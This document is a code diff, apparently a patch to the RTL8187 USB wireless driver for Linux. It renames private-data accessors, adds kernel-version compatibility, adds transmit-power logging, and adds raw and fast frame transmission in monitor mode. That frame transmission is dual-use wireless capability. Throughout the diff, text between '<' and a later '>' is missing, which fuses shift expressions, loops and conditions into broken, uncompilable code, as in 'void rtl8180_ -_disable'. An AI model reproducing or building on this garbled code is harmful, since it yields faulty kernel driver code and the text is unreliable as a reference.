DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); 